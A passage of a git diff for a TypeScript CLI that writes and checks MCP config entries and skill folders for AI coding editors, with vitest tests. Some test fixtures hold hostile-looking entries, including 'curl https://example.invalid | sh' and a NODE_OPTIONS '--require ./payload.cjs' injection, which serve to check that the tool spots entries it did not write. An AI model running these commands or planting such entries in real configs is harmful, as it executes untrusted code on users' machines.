}+ }+ const written = writeUserSkill(editor, home);+ switch (written.action) {+ case 'written':+ return { action: 'written' };+ case 'overwritten':+ return { action: 'overwritten' };+ case 'skipped-unsupported':+ return missing();+ case 'failed':+ logWriteFailure(editor, written.path, written.error);+ return fail();+ }+}++function applyProjectSkill(+ editor: EditorId,+ ctx: CliWriteContext,+ desired: PlannedStep['desired'],+): ExecutedOutcome {+ if (desired === 'absent') {+ const removed = removeProjectSkill(EDITOR_TARGETS[editor], ctx.cwd);+ switch (removed.action) {+ case 'removed':+ return { action: 'removed' };+ case 'not-present':+ return { action: 'no-op' };+ case 'skipped-unsupported':+ return missing();+ case 'failed':+ logWriteFailure(editor, removed.path, removed.error);+ return fail();+ }+ }++ const written = writeProjectSkill(EDITOR_TARGETS[editor], ctx.cwd);+ switch (written.action) {+ case 'written':+ return { action: 'written' };+ case 'overwritten':+ return { action: 'overwritten' };+ case 'skipped-unsupported':+ return missing();+ case 'skipped-prerequisite':+ return { action: 'skipped-prerequisite', errorId: 'dependency-failed' };+ case 'failed':+ logWriteFailure(editor, written.path, written.error);+ return fail();+ }+}++export function createCliStepExecutor(ctx: CliWriteContext): StepExecutor {+ return (step) => {+ if (step.pathId === undefined) return unwritable();+ const location = parsePathId(step.pathId);+ if (location === null || location.kind === 'central-skill-store') return unwritable();++ switch (location.kind) {+ case 'editor-user-config':+ return applyUserMcp(location.editor, ctx, step.desired);+ case 'editor-project-config':+ return applyProjectMcp(location.editor, ctx, step.desired);+ case 'editor-project-skill-root':+ return applyProjectSkill(location.editor, ctx, step.desired);+ case 'editor-user-skill-root':+ return applyUserSkill(location.editor, ctx, step.desired);+ }+ };+}diff --git a/packages/cli/src/integrations/registry-probes.test.ts b/packages/cli/src/integrations/registry-probes.test.tsnew file mode 100644index 000000000..9c00eb8da--- /dev/null+++ b/packages/cli/src/integrations/registry-probes.test.ts@@ -0,0 +1,451 @@+import { existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import {+ checkProbeCoverage,+ collectProbeCoverage,+ type ProbeWorkItem,+ planProbes,+} from '@inkeep/open-knowledge-core';+import { parse as parseToml } from 'smol-toml';+import { afterEach, beforeEach, describe, expect, it } from 'vitest';+import {+ ALL_EDITOR_IDS,+ buildManagedServerEntry,+ EDITOR_TARGETS,+ writerReplacesForeignEntry,+} from '../commands/editors.ts';+import { writeEditorMcpConfig } from '../commands/init.ts';+import {+ createTomlConfigEngine,+ setTomlConfigEngineForTesting,+ type TomlConfigEngine,+} from '../native/toml-config-engine.ts';+import {+ type CliProbeContext,+ collectCliHostSnapshot,+ createCliProbeResolver,+ displayPath,+} from './registry-probes.ts';++let root: string;+let ctx: CliProbeContext;++beforeEach(() => {+ root = mkdtempSync(join(tmpdir(), 'ok-registry-probes-'));+ mkdirSync(join(root, 'project'), { recursive: true });+ mkdirSync(join(root, 'home'), { recursive: true });+ ctx = { cwd: join(root, 'project'), home: join(root, 'home') };+});++afterEach(() => {+ rmSync(root, { recursive: true, force: true });+});++function itemFor(id: string): ProbeWorkItem {+ const item = planProbes().find((candidate) => candidate.satisfierId === id);+ if (item === undefined) throw new Error(`no work item for ${id}`);+ return item;+}++async function answerFor(id: string) {+ return await createCliProbeResolver(ctx)(itemFor(id));+}++function writeProjectMcpJson(entry: unknown): void {+ writeFileSync(+ join(ctx.cwd, '.mcp.json'),+ JSON.stringify({ mcpServers: { [EDITOR_TARGETS.claude.serverName(ctx.cwd)]: entry } }),+ );+}++describe('which bundle a skill row reads', () => {+ it('reads the DISCOVERY bundle for a user-scope skill row', async () => {+ mkdirSync(join(ctx.home ?? '', '.claude', 'skills', 'open-knowledge-discovery'), {+ recursive: true,+ });++ expect(await answerFor('claude/skill/user/skill-bundle-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ });+ });++ it('reads structural-na for an agent whose host dir does not exist', async () => {+ expect(existsSync(join(ctx.home ?? '', '.codex'))).toBe(false);++ expect(await answerFor('codex/skill/user/skill-bundle-copy')).toEqual({+ state: 'structural-na',+ });+ });++ it('reads the bundle once the host dir exists', async () => {+ mkdirSync(join(ctx.home ?? '', '.codex', 'skills'), { recursive: true });++ expect(await answerFor('codex/skill/user/skill-bundle-copy')).toEqual({ state: 'absent' });+ });++ it('does not accept the project bundle as the user-scope one', async () => {+ mkdirSync(join(ctx.home ?? '', '.claude', 'skills', 'open-knowledge'), { recursive: true });++ expect(await answerFor('claude/skill/user/skill-bundle-copy')).toEqual({ state: 'absent' });+ });++ it('still reads the PROJECT bundle for a project-scope skill row', async () => {+ mkdirSync(join(ctx.cwd, '.claude', 'skills', 'open-knowledge'), { recursive: true });++ expect(await answerFor('claude/skill/project/skill-bundle-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ });+ });+});++describe('the registry-to-host contract', () => {+ it('answers every satisfier the registry says is probeable', async () => {+ const covered = await collectProbeCoverage(createCliProbeResolver(ctx));+ expect(checkProbeCoverage(covered)).toEqual({ missing: [], unclaimed: [] });+ });++ it('produces a snapshot keyed only by satisfiers the registry claims', async () => {+ const { probes } = await collectCliHostSnapshot(ctx);+ expect(checkProbeCoverage(Object.keys(probes.satisfiers)).unclaimed).toEqual([]);+ expect(probes.env).toBe('desktop');+ });++ it('claims no agent is present, because it has no signal it did not write', async () => {+ const { detection } = await collectCliHostSnapshot(ctx);+ expect(detection).toEqual({ detected: [], probed: false });+ });+});++describe('an MCP entry', () => {+ it('reads a config that is not there as absent', async () => {+ expect(await answerFor('claude/mcp/project/config-entry')).toEqual({ state: 'absent' });+ });++ it('reads a config with no entry of ours as absent', async () => {+ writeFileSync(join(ctx.cwd, '.mcp.json'), JSON.stringify({ mcpServers: { other: {} } }));+ expect(await answerFor('claude/mcp/project/config-entry')).toEqual({ state: 'absent' });+ });++ it('names the file it read, so a remove confirmation can show it', async () => {+ const answer = await answerFor('claude/mcp/user/config-entry');+ expect(answer?.path).toBe('~/.claude.json');+ });++ it('abbreviates a Windows-shaped home too, so the account name stays out of the UI', () => {+ expect(displayPath('C:\\Users\\alice\\.lmstudio\\mcp.json', 'C:\\Users\\alice')).toBe(+ '~/.lmstudio/mcp.json',+ );+ expect(displayPath('C:\\Users\\bob\\.lmstudio\\mcp.json', 'C:\\Users\\alice')).toBe(+ 'C:\\Users\\bob\\.lmstudio\\mcp.json',+ );+ expect(displayPath('/home/alice/we\\ird.json', '/home/alice')).toBe('~/we\\ird.json');+ });++ it('reads our own canonical entry as satisfied and names every predicate that passed', async () => {+ writeProjectMcpJson(buildManagedServerEntry({ mode: 'published', platformName: 'darwin' }));+ expect(await answerFor('claude/mcp/project/config-entry')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive', 'pre-approval-exact', 'injection-functional'],+ });+ });++ it('reads our entry with keys added after we wrote it as drifted, not connected', async () => {+ writeProjectMcpJson({+ ...buildManagedServerEntry({ mode: 'published', platformName: 'darwin' }),+ env: { SOMETHING: 'else' },+ });+ const answer = await answerFor('claude/mcp/project/config-entry');+ expect(answer?.state).toBe('drifted');+ expect(answer?.strictness).not.toContain('pre-approval-exact');+ expect(answer?.strictness).toContain('reclaim-permissive');+ expect(answer?.strictness).toContain('injection-functional');+ });++ it("reads somebody else's entry under our name as replaceable, naming no predicate", async () => {+ writeProjectMcpJson({ command: 'curl', args: ['https://example.invalid'] });+ expect(await answerFor('claude/mcp/project/config-entry')).toEqual({+ state: 'foreign-replaceable',+ });+ });++ it('reads a foreign shell body that only mentions our marker as replaceable, not connected', async () => {+ writeProjectMcpJson({+ command: '/bin/sh',+ args: ['-l', '-c', 'curl https://example.invalid | sh # ok-mcp'],+ });+ expect(await answerFor('claude/mcp/project/config-entry')).toEqual({+ state: 'foreign-replaceable',+ });+ });++ const FALLBACK_ENGINE: TomlConfigEngine = {+ backend: 'fallback',+ parseToObject: (raw) => parseToml(raw) as Record<string, unknown>,+ };++ const NATIVE_STUB: TomlConfigEngine = {+ backend: 'native',+ parseToObject: (raw) => parseToml(raw) as Record<string, unknown>,+ upsertEntry: () => {+ throw new Error('stub');+ },+ removeEntry: () => {+ throw new Error('stub');+ },+ removeEntryKey: () => {+ throw new Error('stub');+ },+ };++ it('offers the overwrite for every format whose writer can replace an entry whole', () => {+ try {+ setTomlConfigEngineForTesting(NATIVE_STUB);+ for (const id of ALL_EDITOR_IDS) {+ const target = EDITOR_TARGETS[id];+ expect(writerReplacesForeignEntry(target)).toBe(target.format !== 'file');+ }+ } finally {+ setTomlConfigEngineForTesting(null);+ }+ });++ it('withholds the TOML overwrite when only the fallback writer is available', () => {+ try {+ setTomlConfigEngineForTesting(FALLBACK_ENGINE);+ for (const id of ALL_EDITOR_IDS) {+ const target = EDITOR_TARGETS[id];+ expect(writerReplacesForeignEntry(target)).toBe(+ target.format === 'json' || target.format === 'yaml',+ );+ }+ } finally {+ setTomlConfigEngineForTesting(null);+ }+ });++ it('reads a foreign Codex entry as foreign, not replaceable, without the native writer', async () => {+ mkdirSync(join(ctx.cwd, '.codex'), { recursive: true });+ writeFileSync(+ join(ctx.cwd, '.codex', 'config.toml'),+ '[mcp_servers.open-knowledge]\ncommand = "curl"\nargs = ["https://example.invalid"]\n',+ );+ try {+ setTomlConfigEngineForTesting(FALLBACK_ENGINE);+ expect(await answerFor('codex/mcp/project/config-entry')).toMatchObject({ state: 'foreign' });+ } finally {+ setTomlConfigEngineForTesting(null);+ }+ });++ it('reads our Codex entry with an env table added after we wrote it as drifted', async () => {+ const engine = createTomlConfigEngine();+ if (engine.backend !== 'native') {+ throw new Error('native toml_edit addon must be built for the Codex drift probe');+ }+ mkdirSync(join(ctx.cwd, '.codex'), { recursive: true });+ const chain = JSON.stringify(+ buildManagedServerEntry({ mode: 'published', platformName: 'darwin' }).args,+ );+ writeFileSync(+ join(ctx.cwd, '.codex', 'config.toml'),+ `[mcp_servers.open-knowledge]\ncommand = "/bin/sh"\nargs = ${chain}\n\n[mcp_servers.open-knowledge.env]\nNODE_OPTIONS = "--require ./payload.cjs"\n`,+ );+ try {+ setTomlConfigEngineForTesting(engine);+ const answer = await answerFor('codex/mcp/project/config-entry');+ expect(answer?.state).toBe('drifted');+ expect(answer?.strictness).toContain('reclaim-permissive');+ } finally {+ setTomlConfigEngineForTesting(null);+ }+ });++ it('reads a healthy Pi bridge as satisfied, never as unprobed', async () => {+ const bridgePath = join(ctx.cwd, '.pi', 'extensions', 'open-knowledge.ts');+ const written = writeEditorMcpConfig(+ EDITOR_TARGETS.pi,+ ctx.cwd,+ { mode: 'published', skipAvailabilityCheck: true },+ undefined,+ bridgePath,+ );+ expect(['written', 'overwritten']).toContain(written.action);+ const item = planProbes().find(+ (candidate) => candidate.agent === 'pi' && candidate.pathId === 'editor-project-config:pi',+ );+ if (item === undefined) throw new Error('no project probe for pi');+ const answer = await createCliProbeResolver(ctx)(item);+ expect(answer?.state).toBe('satisfied');+ });++ it('reads a launcher newer than this build that carries a foreign env as drifted', async () => {+ writeProjectMcpJson({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ env: { NODE_OPTIONS: '--require ./payload.cjs' },+ });+ const answer = await answerFor('claude/mcp/project/config-entry');+ expect(answer?.state).toBe('drifted');+ });++ it('reads a launcher newer than this build with no foreign key as satisfied', async () => {+ writeProjectMcpJson({+ command: '/bin/sh',+ args: ['-l', '-c', '# ok-mcp-v99\nfuture launcher body'],+ });+ const answer = await answerFor('claude/mcp/project/config-entry');+ expect(answer?.state).toBe('satisfied');+ });++ it('reads a config it cannot parse as unprobed, never as absent', async () => {+ writeFileSync(join(ctx.cwd, '.mcp.json'), '{ this is not json');+ expect(await answerFor('claude/mcp/project/config-entry')).toEqual({ state: 'unprobed' });+ });++ it('gives two agents sharing one file the same answer', async () => {+ writeProjectMcpJson(buildManagedServerEntry({ mode: 'published', platformName: 'darwin' }));+ expect(await answerFor('copilot/mcp/project/config-entry')).toEqual(+ await answerFor('claude/mcp/project/config-entry'),+ );+ });+});++describe('a skill bundle', () => {+ it('reads a bundle that is not there as absent', async () => {+ expect(await answerFor('claude/skill/project/skill-bundle-copy')).toEqual({ state: 'absent' });+ });++ it('reads a bundle on disk as satisfied', async () => {+ mkdirSync(join(ctx.cwd, '.claude', 'skills', 'open-knowledge'), { recursive: true });+ expect(await answerFor('claude/skill/project/skill-bundle-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ });+ });++ it('reads the shared hub the same way', async () => {+ expect(await answerFor('openclaw/skill/user/central-store-copy')).toEqual({ state: 'absent' });+ mkdirSync(join(root, 'home', '.agents', 'skills', 'open-knowledge-discovery'), {+ recursive: true,+ });+ expect(await answerFor('openclaw/skill/user/central-store-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ });+ });+});++describe('what this host refuses to answer', () => {+ it('claims nothing about a satisfier whose location it cannot name', async () => {+ const invented: ProbeWorkItem = { ...itemFor('hermes/mcp/user/config-entry') };+ const unnamed = { ...invented, pathId: null };+ expect(await createCliProbeResolver(ctx)(unnamed)).toBeNull();+ });+});++describe('a skills folder two agents share', () => {+ it('names the peer from BOTH sides of ~/.codex/skills -> ~/.claude/skills', async () => {+ const home = ctx.home ?? '';+ mkdirSync(join(home, '.claude', 'skills'), { recursive: true });+ mkdirSync(join(home, '.codex'), { recursive: true });+ symlinkSync(join(home, '.claude', 'skills'), join(home, '.codex', 'skills'));++ expect(await answerFor('codex/skill/user/skill-bundle-copy')).toEqual({+ state: 'absent',+ sharedWith: ['claude'],+ });+ expect(await answerFor('claude/skill/user/skill-bundle-copy')).toEqual({+ state: 'absent',+ sharedWith: ['codex'],+ });+ });++ it('does not pair two roots aliased to different places outside the base', async () => {+ const home = ctx.home ?? '';+ const elsewhere = mkdtempSync(join(tmpdir(), 'ok-elsewhere-'));+ mkdirSync(join(elsewhere, 'a'), { recursive: true });+ mkdirSync(join(elsewhere, 'b'), { recursive: true });+ mkdirSync(join(home, '.codex'), { recursive: true });+ mkdirSync(join(home, '.cursor'), { recursive: true });+ symlinkSync(join(elsewhere, 'a'), join(home, '.codex', 'skills'));+ symlinkSync(join(elsewhere, 'b'), join(home, '.cursor', 'skills'));++ expect(await answerFor('codex/skill/user/skill-bundle-copy')).toEqual({ state: 'absent' });+ expect(await answerFor('cursor/skill/user/skill-bundle-copy')).toEqual({ state: 'absent' });+ rmSync(elsewhere, { recursive: true, force: true });+ });++ it('names nobody when each agent owns its own folder', async () => {+ const home = ctx.home ?? '';+ mkdirSync(join(home, '.claude', 'skills'), { recursive: true });+ mkdirSync(join(home, '.codex', 'skills'), { recursive: true });++ expect(await answerFor('claude/skill/user/skill-bundle-copy')).toEqual({ state: 'absent' });+ });+});++describe('a user config the writer would refuse to create', () => {+ it('reads structural-na for Copilot until its home dir exists', async () => {+ expect(existsSync(join(ctx.home ?? '', '.copilot'))).toBe(false);+ expect(await answerFor('copilot/mcp/user/config-entry')).toEqual({ state: 'structural-na' });+ });++ it('reads absent once the Copilot home dir exists', async () => {+ mkdirSync(join(ctx.home ?? '', '.copilot'), { recursive: true });+ const answer = await answerFor('copilot/mcp/user/config-entry');+ expect(answer?.state).toBe('absent');+ expect(answer?.path).toContain('mcp-config.json');+ });++ it('still reads absent for Claude, whose config sits at the home root', async () => {+ expect(await answerFor('claude/mcp/user/config-entry')).toEqual({+ state: 'absent',+ path: '~/.claude.json',+ });+ });+});++describe('the vendor-neutral skills hub as a peer', () => {+ it('names LM Studio when a project skills folder is an alias of .agents/skills', async () => {+ mkdirSync(join(ctx.cwd, '.agents', 'skills', 'open-knowledge'), { recursive: true });+ mkdirSync(join(ctx.cwd, '.cursor'), { recursive: true });+ symlinkSync(join(ctx.cwd, '.agents', 'skills'), join(ctx.cwd, '.cursor', 'skills'), 'dir');++ expect(await answerFor('cursor/skill/project/skill-bundle-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ sharedWith: ['lm-studio'],+ });+ });++ it('names OpenClaw when a user skills folder is an alias of ~/.agents/skills, and vice versa', async () => {+ const home = ctx.home ?? '';+ mkdirSync(join(home, '.agents', 'skills', 'open-knowledge-discovery'), { recursive: true });+ mkdirSync(join(home, '.codex'), { recursive: true });+ symlinkSync(join(home, '.agents', 'skills'), join(home, '.codex', 'skills'), 'dir');++ expect(await answerFor('codex/skill/user/skill-bundle-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ sharedWith: ['openclaw'],+ });+ expect(await answerFor('openclaw/skill/user/central-store-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ sharedWith: ['codex'],+ });+ });++ it('does not invent a hub peer when nothing points at the hub', async () => {+ mkdirSync(join(ctx.cwd, '.agents', 'skills', 'open-knowledge'), { recursive: true });+ mkdirSync(join(ctx.cwd, '.cursor', 'skills', 'open-knowledge'), { recursive: true });++ expect(await answerFor('cursor/skill/project/skill-bundle-copy')).toEqual({+ state: 'satisfied',+ strictness: ['reclaim-permissive'],+ });+ });+});diff --git a/packages/cli/src/integrations/registry-probes.ts b/packages/cli/src/integrations/registry-probes.tsnew file mode 100644index 000000000..4847dc795--- /dev/null+++ b/packages/cli/src/integrations/registry-probes.ts@@ -0,0 +1,214 @@+import { existsSync } from 'node:fs';+import { homedir } from 'node:os';+import { join } from 'node:path';+import {+ AGENTS_SKILLS_ROOT,+ buildProbeSnapshot,+ EDITOR_PROJECT_CONFIG_PATH,+ EDITOR_PROJECT_SKILL_ROOT,+ EDITOR_USER_SKILL_ROOT,+ type EditorId,+ EMPTY_DETECTION_SNAPSHOT,+ type HostSnapshot,+ HUB_READER_EDITORS,+ type ProbeAnswer,+ type ProbeResolver,+ type ProbeStrictness,+ parsePathId,+} from '@inkeep/open-knowledge-core';+import { scanSkillFolderStates } from '@inkeep/open-knowledge-core/skill-folder-state';+import {+ BUNDLE_SKILL_NAME,+ type BundleId,+ detectUserSkillHosts,+} from '@inkeep/open-knowledge-server';+import { ownServerMatcherFor } from '../commands/acp-harness-probe.ts';+import {+ ALL_EDITOR_IDS,+ canonicalEntryFor,+ EDITOR_TARGETS,+ entryCarriesDroppedManagedKey,+ isEntryUpToDate,+ isOwnManagedEntry,+ writerReplacesForeignEntry,+} from '../commands/editors.ts';+import {+ classifyExistingMcpEntry,+ isEditorTargetAvailable,+ writeWouldFabricateDetection,+} from '../commands/init.ts';++export interface CliProbeContext {+ readonly cwd: string;+ readonly home?: string;+}++function skillBundleAnswer(+ root: string,+ bundle: BundleId,+ sharedWith: readonly EditorId[] = [],+): ProbeAnswer {+ const state = existsSync(join(root, BUNDLE_SKILL_NAME[bundle])) ? 'satisfied' : 'absent';+ return {+ ...(state === 'satisfied' ? { state, strictness: ['reclaim-permissive'] as const } : { state }),+ ...(sharedWith.length === 0 ? {} : { sharedWith }),+ };+}++function skillRootEntries(+ roots: Readonly<Record<EditorId, string | null>>,+ scope: 'project' | 'global',+): { editor: string; root: string }[] {+ const editorRoots = ALL_EDITOR_IDS.flatMap((id) => {+ const root = roots[id];+ return root === null ? [] : [{ editor: id, root }];+ });+ const hubReaders = HUB_READER_EDITORS.filter((reader) => reader.scope === scope).map(+ (reader) => ({ editor: reader.editorId, root: AGENTS_SKILLS_ROOT }),+ );+ return [...editorRoots, ...hubReaders];+}++function skillRootPeers(+ base: string,+ roots: Readonly<Record<EditorId, string | null>>,+ editor: EditorId,+ scope: 'project' | 'global',+): EditorId[] {+ const states = scanSkillFolderStates(base, skillRootEntries(roots, scope));+ const own = states.find((entry) => entry.host === editor);+ if (own === undefined || own.state === 'absent') return [];+ const ownReal = own.real;+ return states+ .filter((entry) => entry.host !== editor && entry.state !== 'absent' && entry.real === ownReal)+ .map((entry) => entry.host as EditorId);+}++export function displayPath(absolute: string, home?: string): string {+ const base = (home ?? homedir()).replace(/[\\/]+$/, '');+ if (!base.includes('\\')) {+ return absolute.startsWith(`${base}/`) ? `~/${absolute.slice(base.length + 1)}` : absolute;+ }+ const slash = (p: string) => p.replace(/\\/g, '/');+ const slashedBase = slash(base);+ const slashedAbsolute = slash(absolute);+ return slashedAbsolute.startsWith(`${slashedBase}/`)+ ? `~/${slashedAbsolute.slice(slashedBase.length + 1)}`+ : absolute;+}++function userConfigWriterWouldRefuse(editor: EditorId, home: string | undefined): boolean {+ const target = EDITOR_TARGETS[editor];+ return (+ writeWouldFabricateDetection(target, '', home) && !isEditorTargetAvailable(target, '', home)+ );+}++function mcpEntryAnswer(+ editor: EditorId,+ declared: readonly ProbeStrictness[],+ cwd: string,+ home?: string,+ override?: string,+): ProbeAnswer {+ const target = EDITOR_TARGETS[editor];+ let resolved: string | undefined;+ if (override === undefined) {+ try {+ resolved = target.configPath(cwd, home);+ } catch {+ return { state: 'structural-na' };+ }+ } else {+ resolved = override;+ }+ const path = override === undefined ? displayPath(resolved, home) : undefined;+ const classification = classifyExistingMcpEntry(target, cwd, home, override);+ switch (classification.kind) {+ case 'absent':+ case 'no-entry':+ if (override === undefined && userConfigWriterWouldRefuse(editor, home)) {+ return { state: 'structural-na' };+ }+ return { state: 'absent', path };+ case 'decline':+ return { state: 'unprobed' };+ case 'present': {+ const { entry } = classification;+ const passed: ProbeStrictness[] = [];+ if (isEntryUpToDate(entry)) passed.push('reclaim-permissive');+ if (isOwnManagedEntry(entry)) passed.push('pre-approval-exact');+ if (ownServerMatcherFor(editor)(entry)) passed.push('injection-functional');+ const canonical = canonicalEntryFor(target, cwd);+ const editedSinceWritten =+ passed.length > 0 &&+ ((canonical !== null && entryCarriesDroppedManagedKey(entry, canonical)) ||+ (declared.includes('pre-approval-exact') &&+ passed.includes('reclaim-permissive') &&+ !passed.includes('pre-approval-exact')));+ if (editedSinceWritten) return { state: 'drifted', strictness: passed, path };+ if (passed.length > 0) return { state: 'satisfied', strictness: passed, path };+ return writerReplacesForeignEntry(target)+ ? { state: 'foreign-replaceable', path }+ : { state: 'foreign', path };+ }+ }+}++export function createCliProbeResolver(ctx: CliProbeContext): ProbeResolver {+ const { cwd, home } = ctx;+ return (item) => {+ if (item.pathId === null) return null;+ const location = parsePathId(item.pathId);+ if (location === null) return null;+ if (location.kind === 'central-skill-store') {+ return home === undefined+ ? null+ : skillBundleAnswer(+ join(home, AGENTS_SKILLS_ROOT),+ 'discovery',+ skillRootPeers(home, EDITOR_USER_SKILL_ROOT, item.agent as EditorId, 'global'),+ );+ }+ const editor = location.editor;+ switch (location.kind) {+ case 'editor-user-skill-root': {+ const root = EDITOR_USER_SKILL_ROOT[editor];+ if (root === null || home === undefined) return null;+ if (!detectUserSkillHosts(home).some((host) => host.editorId === editor)) {+ return { state: 'structural-na' };+ }+ return skillBundleAnswer(+ join(home, root),+ 'discovery',+ skillRootPeers(home, EDITOR_USER_SKILL_ROOT, editor, 'global'),+ );+ }+ case 'editor-project-skill-root': {+ const root = EDITOR_PROJECT_SKILL_ROOT[editor];+ return root === null+ ? null+ : skillBundleAnswer(+ join(cwd, root),+ 'project',+ skillRootPeers(cwd, EDITOR_PROJECT_SKILL_ROOT, editor, 'project'),+ );+ }+ case 'editor-user-config':+ return mcpEntryAnswer(editor, item.strictness, cwd, home);+ case 'editor-project-config': {+ const relative = EDITOR_PROJECT_CONFIG_PATH[editor];+ return relative === null+ ? null+ : mcpEntryAnswer(editor, item.strictness, cwd, home, join(cwd, relative));+ }+ }+ };+}++export async function collectCliHostSnapshot(ctx: CliProbeContext): Promise<HostSnapshot> {+ return {+ probes: await buildProbeSnapshot({ env: 'desktop', resolve: createCliProbeResolver(ctx) }),+ detection: EMPTY_DETECTION_SNAPSHOT,+ };+}diff --git a/packages/cli/src/integrations/remove-project-skill.test.ts b/packages/cli/src/integrations/remove-project-skill.test.tsindex 8e7a6073a..6ef128df9 100644--- a/packages/cli/src/integrations/remove-project-skill.test.ts+++ b/packages/cli/src/integrations/remove-project-skill.test.ts@@ -6,6 +6,7 @@ import { EDITOR_TARGETS } from '../commands/editors.ts';import { removeProjectSkill } from './write-project-skill.ts';const CLAUDE = EDITOR_TARGETS.claude;+const CURSOR = EDITOR_TARGETS.cursor;describe('removeProjectSkill', () => {let dir: string;@@ -99,4 +100,67 @@ describe('removeProjectSkill', () => {expect(result.action).toBe('skipped-unsupported');expect(result.path).toBe('');});++ describe('a skills root shared with another editor', () => {+ function seedSharedRoot(): string {+ const claudeSkill = CLAUDE.projectSkillPath?.(dir);+ if (!claudeSkill) throw new Error('claude has no projectSkillPath');+ mkdirSync(dirname(claudeSkill), { recursive: true });+ writeFileSync(claudeSkill, '# open-knowledge\n');+ mkdirSync(join(dir, '.cursor'), { recursive: true });+ symlinkSync(join(dir, '.claude', 'skills'), join(dir, '.cursor', 'skills'), 'dir');+ return claudeSkill;+ }++ test('removes through the link, which takes the shared bundle with it', () => {+ const claudeSkill = seedSharedRoot();++ const result = removeProjectSkill(CURSOR, dir);++ expect(result.action).toBe('removed');+ expect(existsSync(claudeSkill)).toBe(false);+ });++ test('removes from either side — sharing is not directional', () => {+ const claudeSkill = seedSharedRoot();++ const result = removeProjectSkill(CLAUDE, dir);++ expect(result.action).toBe('removed');+ expect(existsSync(claudeSkill)).toBe(false);+ });++ test('removes through an alias to the vendor-neutral hub', () => {+ const hub = join(dir, '.agents', 'skills', 'open-knowledge');+ mkdirSync(hub, { recursive: true });+ writeFileSync(join(hub, 'SKILL.md'), '# open-knowledge\n');+ mkdirSync(join(dir, '.cursor'), { recursive: true });+ symlinkSync(join(dir, '.agents', 'skills'), join(dir, '.cursor', 'skills'), 'dir');++ const result = removeProjectSkill(CURSOR, dir);++ expect(result.action).toBe('removed');+ expect(existsSync(hub)).toBe(false);+ });++ test('still removes through an alias nothing else reads', () => {+ const own = join(dir, '.vendor', 'skills', 'open-knowledge');+ mkdirSync(own, { recursive: true });+ writeFileSync(join(own, 'SKILL.md'), '# open-knowledge\n');+ mkdirSync(join(dir, '.cursor'), { recursive: true });+ symlinkSync(join(dir, '.vendor', 'skills'), join(dir, '.cursor', 'skills'), 'dir');++ const result = removeProjectSkill(CURSOR, dir);++ expect(result.action).toBe('removed');+ expect(existsSync(own)).toBe(false);+ });++ test('a dangling root is not sharing anything', () => {+ mkdirSync(join(dir, '.cursor'), { recursive: true });+ symlinkSync(join(dir, 'gone'), join(dir, '.cursor', 'skills'), 'dir');++ expect(removeProjectSkill(CURSOR, dir).action).toBe('not-present');+ });+ });});diff --git a/packages/cli/src/integrations/write-project-ai-integrations.test.ts b/packages/cli/src/integrations/write-project-ai-integrations.test.tsindex 74784837a..4ca137e86 100644--- a/packages/cli/src/integrations/write-project-ai-integrations.test.ts+++ b/packages/cli/src/integrations/write-project-ai-integrations.test.ts@@ -49,7 +49,12 @@ describe('writeProjectAiIntegrations — installs MCP config AND the project skitest('all editors: 2 outcomes per editor; claude-desktop skips both as unsupported', () => {const result = writeProjectAiIntegrations(projectDir, ALL_EDITOR_IDS);- expect(result.integrations).toHaveLength(ALL_EDITOR_IDS.length * 2);+ expect(result.integrations).toHaveLength(ALL_EDITOR_IDS.length * 2 + 1);++ const hub = result.integrations.filter((o) => String(o.editorId) === 'agents');+ expect(hub).toHaveLength(1);+ expect(hub[0]?.action).toBe('written');+ expect(hub[0]?.path).toContain('.agents/skills/open-knowledge/SKILL.md');const desktop = result.integrations.filter((o) => o.editorId === 'claude-desktop');expect(desktop).toHaveLength(2);diff --git a/packages/cli/src/integrations/write-project-skill.hub.test.ts b/packages/cli/src/integrations/write-project-skill.hub.test.tsnew file mode 100644index 000000000..29e47df49--- /dev/null+++ b/packages/cli/src/integrations/write-project-skill.hub.test.ts@@ -0,0 +1,54 @@+import { existsSync, mkdtempSync, rmSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { afterEach, beforeEach, describe, expect, test } from 'vitest';+import { EDITOR_TARGETS } from '../commands/editors.ts';+import {+ hubReadersAmong,+ writeProjectSkill,+ writeProjectSkillToHub,+} from './write-project-skill.ts';++describe('the built-in project skill reaches the .agents hub', () => {+ let home: string;+ let project: string;++ beforeEach(() => {+ home = mkdtempSync(join(tmpdir(), 'ok-hub-home-'));+ project = mkdtempSync(join(tmpdir(), 'ok-hub-project-'));+ });+ afterEach(() => {+ rmSync(home, { recursive: true, force: true });+ rmSync(project, { recursive: true, force: true });+ });++ const hubSkill = () => join(project, '.agents', 'skills', 'open-knowledge', 'SKILL.md');++ test('the per-editor writer cannot serve a hub reader — the gap this closes', () => {+ expect(writeProjectSkill(EDITOR_TARGETS['lm-studio'], project, { home }).action).toBe(+ 'skipped-unsupported',+ );+ });++ test('writes into the hub when the user selected a hub reader', () => {+ const result = writeProjectSkillToHub(project, ['lm-studio']);++ expect(result?.action).toBe('written');+ expect(existsSync(hubSkill())).toBe(true);+ });++ test('writes nothing when no selected editor reads the hub', () => {+ expect(writeProjectSkillToHub(project, ['claude', 'cursor'])).toBeNull();+ expect(existsSync(hubSkill())).toBe(false);+ });++ test('an empty selection writes nothing, like every other writer here', () => {+ expect(writeProjectSkillToHub(project, [])).toBeNull();+ expect(existsSync(hubSkill())).toBe(false);+ });++ test('only project-scope hub readers count', () => {+ expect(hubReadersAmong(['lm-studio'])).toEqual(['lm-studio']);+ expect(hubReadersAmong(['openclaw', 'claude'])).toEqual([]);+ });+});diff --git a/packages/cli/src/integrations/write-project-skill.ts b/packages/cli/src/integrations/write-project-skill.tsindex 5106b9732..2f59ac9ee 100644--- a/packages/cli/src/integrations/write-project-skill.ts+++ b/packages/cli/src/integrations/write-project-skill.ts@@ -8,11 +8,24 @@ import {rmSync,statSync,} from 'node:fs';-import { dirname, isAbsolute, relative, resolve, sep } from 'node:path';-import { 